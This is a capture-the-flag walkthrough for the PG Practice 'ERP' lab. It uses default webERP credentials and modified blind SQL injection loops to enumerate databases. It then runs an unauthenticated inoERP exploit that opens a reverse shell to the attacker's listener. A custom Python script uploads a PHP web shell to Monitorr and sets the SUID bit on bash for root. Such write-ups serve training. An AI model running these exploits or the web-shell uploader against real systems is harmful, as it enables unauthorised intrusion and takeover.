Summary #
Gobuster
on port 80 reveals a webERP 4.15
application configured with weak (default) credentials. Using an SQL injection exploit (CVE-2019-13292) we can enumerate the available databases and see there is also an inoERP 0.5.2
application running on the target, which has an unauthenticated remote code execution vulnerability. Using this exploit we get initial access as the www-data
user. Once on the target we find an application running on port 8443. Using an SSH remote remote port forward we can access this port locally and see the monitorr 1.7.6
application is running on this port. With an unauthenticated RCE exploit for this application we escalate our privileges to the root
user.
Specifications #
- Name: ERP
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux erp 5.4.0-125-generic #141-Ubuntu SMP Wed Aug 10 13:42:03 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.142.227
- OFFSEC provided credentials: None
- HASH:
local.txt
:47a82d257f4458f148415fee454c1364
- HASH:
proof.txt
:fdbbae2479139dbdd29c26275ead240d
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir erp && cd erp && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 27 07:46 .
drwxrwxr-x 79 kali kali 4096 Sep 27 07:46 ..
drwxrwxr-x 2 kali kali 4096 Sep 27 07:46 enum
drwxrwxr-x 2 kali kali 4096 Sep 27 07:46 exploits
drwxrwxr-x 2 kali kali 4096 Sep 27 07:46 files
drwxrwxr-x 2 kali kali 4096 Sep 27 07:46 tools
drwxrwxr-x 2 kali kali 4096 Sep 27 07:46 uploads
## set bash variable
ip=192.168.142.227
## ping target to check if it's online
ping $ip
PING 192.168.142.227 (192.168.142.227) 56(84) bytes of data.
64 bytes from 192.168.142.227: icmp_seq=1 ttl=61 time=22.4 ms
64 bytes from 192.168.142.227: icmp_seq=2 ttl=61 time=23.2 ms
^C
--- 192.168.142.227 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 22.401/22.776/23.152/0.375 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.142.227:22
Open 192.168.142.227:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 07:50 CEST
Initiating Ping Scan at 07:50
Scanning 192.168.142.227 [4 ports]
Completed Ping Scan at 07:50, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:50
Completed Parallel DNS resolution of 1 host. at 07:50, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:50
Scanning 192.168.142.227 [2 ports]
Discovered open port 22/tcp on 192.168.142.227
Discovered open port 80/tcp on 192.168.142.227
Completed SYN Stealth Scan at 07:50, 0.06s elapsed (2 total ports)
Nmap scan report for 192.168.142.227
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-27 07:50:00 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
| 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: TsukorERP
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: TsukorERP
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Browsing to port 80 (http://192.168.142.227
) gives us a login form for TsukorERP
, but we don’t get much further.I

So, let’s run gobuster
to see if there are interesting directories.
## run `gobuster`
gobuster dir -t 100 -u http://$ip:80/ -w /usr/lib/python3/dist-packages/autorecon/wordlists/dirbuster.txt | tee enum/dirbuster-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.142.227:80/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/lib/python3/dist-packages/autorecon/wordlists/dirbuster.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/css (Status: 301) [Size: 316] [--> http://192.168.142.227/css/]
/.htaccess (Status: 403) [Size: 280]
/robots.txt (Status: 200) [Size: 39]
/server-status (Status: 403) [Size: 280]
<SNIP>
There is a robots.txt
file at the URL: (http://192.168.142.227/robots.txt
), which contains: /weberp/index.php
as allowed. Browsing to this URL: (http://192.168.142.227/weberp/index.php
) we see a login form of the webERP
application.

Searching online we can find the default credentials of this application: https://infrastacklabs.wordpress.com/2016/08/24/resetting-weberp-password-for-admin-user/, as: admin:weberp
. Using the default credentials allows us to log into the application. We can see the version of the application: webERP 4.15
.

Using this information we can find an SQL injection exploit (CVE-2019-13292): https://github.com/rootsecdev/weberp. This is a Python3 port of the original exploit. Let’s download the exploit and see if it is successful. Be aware that the running of the exploits takes a long time to give feedback, but the SQLi is confirmed.
## change directory
cd exploits
## download the exploit
wget https://raw.githubusercontent.com/rootsecdev/weberp/refs/heads/main/47013.py
## run the exploit
python3 47013.py 192.168.142.227 "weberp" admin weberp 0
Blind sqli is confirmed
Now change the exploit from rule 78 downwards with this to determine how many databases there are.
i=1
while True:
payload = generatePayload("0", "1' or IF((SELECT COUNT(*) FROM information_schema.SCHEMATA)="+str(i)+", sleep(1),FALSE) or '2'='1")
# SELECT;
#get cookies
cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4])
addSupplierID("GARUMPAGE", cookies, proxies)
t1 = time.time()
runExploit(cookies, "GARUMPAGE", payload, proxies)
t2 = time.time()
if (t2-t1>1):
print("number of databases on the server: " + str(i))
break
else:
i=i+1
When we run the exploit again we see there are three databases.
## run the altered exploit
python3 47013.py 192.168.142.227 "weberp" admin weberp 0
number of databases on the server: 3
Let’s change the exploit again from rule 78 downwards to get the names of the databases.
for i in range(1, 50):
dictionary = " ,abcdefghijklmnopqrstuvwxyz0123456789_"
for j in range(0, len(dictionary)):
# get databases
payload = generatePayload("0", "-12' or sleep(IF((SELECT substring(group_concat(schema_name),%s,1) FROM information_schema.schemata" \
" WHERE schema_name NOT IN ('information_schema','mysql','performance_schema')) = '%s', 1, 0)) and '1'='1" % (i, dictionary[j]))
# get cookies
cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4])
addSupplierID("GARUMPAGE", cookies, proxies)
t1 = time.time()
runExploit(cookies, "GARUMPAGE", payload, proxies)
t2 = time.time()
if (t2-t1>4) and j == 0:
print("Finish")
sys.exit()
elif (t2-t1>4) and j == 1:
print("\n")
elif (t2-t1>4):
print(dictionary[j])
break
When we run the exploit we get two names: inoerp_db
and weberp_db
.
## run the altered exploit
python3 47013_2.py 192.168.142.227 "weberp" admin weberp 0
i
n
o
e
r
p
_
d
b
w
e
b
e
r
p
_
d
b
Finish
Because there is a URL: http://192.168.142.227/weberp/
, we could also try: http://192.168.142.227/inoerp/
. Indeed, we can access this URL, to get to the inoERP 0.5.2
application.

Using searchsploit to find an exploit we can find an unauthenticated remote code execution. Downloading and running the exploit we get initial access as the www-data
user in the /var/www/html/inoerp/modules/sys/form_personalization
directory.
## using searchsploit to find exploit
searchsploit inoerp
------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------ ---------------------------------
inoERP 0.6.1 - Cross-Site Scripting / Cross-Site Request Forgery / SQL Injection / Session Fixation | php/webapps/41749.txt
InoERP 0.7.2 - Persistent Cross-Site Scripting | php/webapps/47428.txt
InoERP 0.7.2 - Remote Code Execution (Unauthenticated) | php/webapps/48946.py
inoERP 4.15 - 'download' SQL Injection | php/webapps/47426.txt
------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
## download the exploit
searchsploit -m php/webapps/48946.py
Exploit: InoERP 0.7.2 - Remote Code Execution (Unauthenticated)
URL: https://www.exploit-db.com/exploits/48946
Path: /usr/share/exploitdb/exploits/php/webapps/48946.py
Codes: N/A
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/hk/offsec/pg/practice/erp/exploits/48946.py
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160
## setup a listener on an already open port
nc -lvnp 80
listening on [any] 80 ...
## run the exploit
python2 48946.py http://192.168.142.227/inoerp 192.168.45.160 80
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.142.227] 35386
bash: cannot set terminal process group (1027): Inappropriate ioctl for device
bash: no job control in this shell
www-data@erp:/var/www/html/inoerp/modules/sys/form_personalization$
## find `local.txt` on the filesystem
www-data@erp:/var/www/html/inoerp/modules/sys/form_personalization$ find / -iname 'local.txt' 2>/dev/null
/home/local/local.txt
## print `local.txt`
www-data@erp:/var/www/html/inoerp/modules/sys/form_personalization$ cat /home/local/local.txt
47a82d257f4458f148415fee454c1364
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## change directory
www-data@erp:/var/www/html/inoerp/modules/sys/form_personalization$ cd /var/tmp
www-data@erp:/var/tmp$
## download `linpeas.sh` using the open port 8080
www-data@erp:/var/tmp$ wget http://192.168.45.160/linpeas.sh
--2025-09-27 06:01:28-- http://192.168.45.160/linpeas.sh
Connecting to 192.168.45.160:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 0%[ linpeas.sh 95%[=================================================================================linpeas.sh 100%[=============================================================================================================>] 939.29K 4.11MB/s in 0.2s
2025-09-27 06:01:29 (4.11 MB/s) - ‘linpeas.sh’ saved [961834/961834]
## set the execution bit
www-data@erp:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@erp:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows there is a port 8443 open on localhost on the target (127.0.0.1). Let’s setup a remote port forward using SSH. Setup a local SSH server and connect from the target to this SSH server
## locally:
## start local SSH server
sudo systemctl start ssh
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160
## on target:
## setup remote port forward on port 8443
www-data@erp:/tmp$ ssh kali@192.168.45.160 -R 8443:127.0.0.1:8443
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.45.160 (192.168.45.160)' can't be established.
ECDSA key fingerprint is SHA256:2VDqM9bc/5EhKk+SnkMmrM/ctH3j8X7ybXmdBoglwXY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
kali@192.168.45.160's password:
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 27 14:44:30 2025 from 192.168.142.227
┏━(Message from Kali developers)
┃
┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
Now the port is forwarded we can browse tot this port on localhost: (http://localhost:8443/
). We see the application Monitorr 1.7.6
running on this port.

Using searchsploit or online we can find unauthenticated RCE’s, but most of these don’t work with this target. Below is a custom Python script that works, based on this one (https://cxsecurity.com/issue/WLB-2023020021). So, create a file called exploit.py
in the ./exploits
directory.
import requests
import random
import string
def payL(url, cmd):
fileName = ''.join(random.choice(string.ascii_lowercase) for i in range(16)) + '.php'
tf1 = requests.post(url + '/assets/php/upload.php', files=(
('fileToUpload', (fileName, 'GIF87a\n<?php\n$var=shell_exec(' + '"' + cmd + '"' + ');\necho "$var"\n?>')),
))
tf2 = requests.get(url + '/assets/data/usrimg/' + fileName)
print(tf2.text)
def argsetup():
about = 'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n'
return about
if __name__ == "__main__":
print(argsetup())
url = input("Enter the base url: ")
while True:
cmd = input("Command (or type 'exit' to quit): ")
if cmd.lower() == 'exit':
print("Exiting...")
break
payL(url, cmd)
We can now run the exploit. When asked to enter a base URL, enter (http://127.0.0.1:8443
). The command we’re going to run is chmod +s /bin/bash
and set the SUID bit on the bash
binary. Using this binary we can escalate our privileges to the root
user.
## locally:
## run the exploit
python3 exploit.py
Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution
Enter the base url: http://127.0.0.1:8443
Command (or type 'exit' to quit): chmod +s /bin/bash
GIF87a
## return to the target shell by exiting the SSH connection
exit
## on target:
## verify SUID bit is set on `bash` binary
www-data@erp:/var/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
## escalate privileges using the `bash` binary
www-data@erp:/var/tmp$ bash -p
bash-5.0#
## print `proof.txt`
bash-5.0# cat /root/proof.txt
fdbbae2479139dbdd29c26275ead240d
References #
[+] https://infrastacklabs.wordpress.com/2016/08/24/resetting-weberp-password-for-admin-user/
[+] https://github.com/rootsecdev/weberp
[+] https://raw.githubusercontent.com/rootsecdev/weberp/refs/heads/main/47013.py
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://cxsecurity.com/issue/WLB-2023020021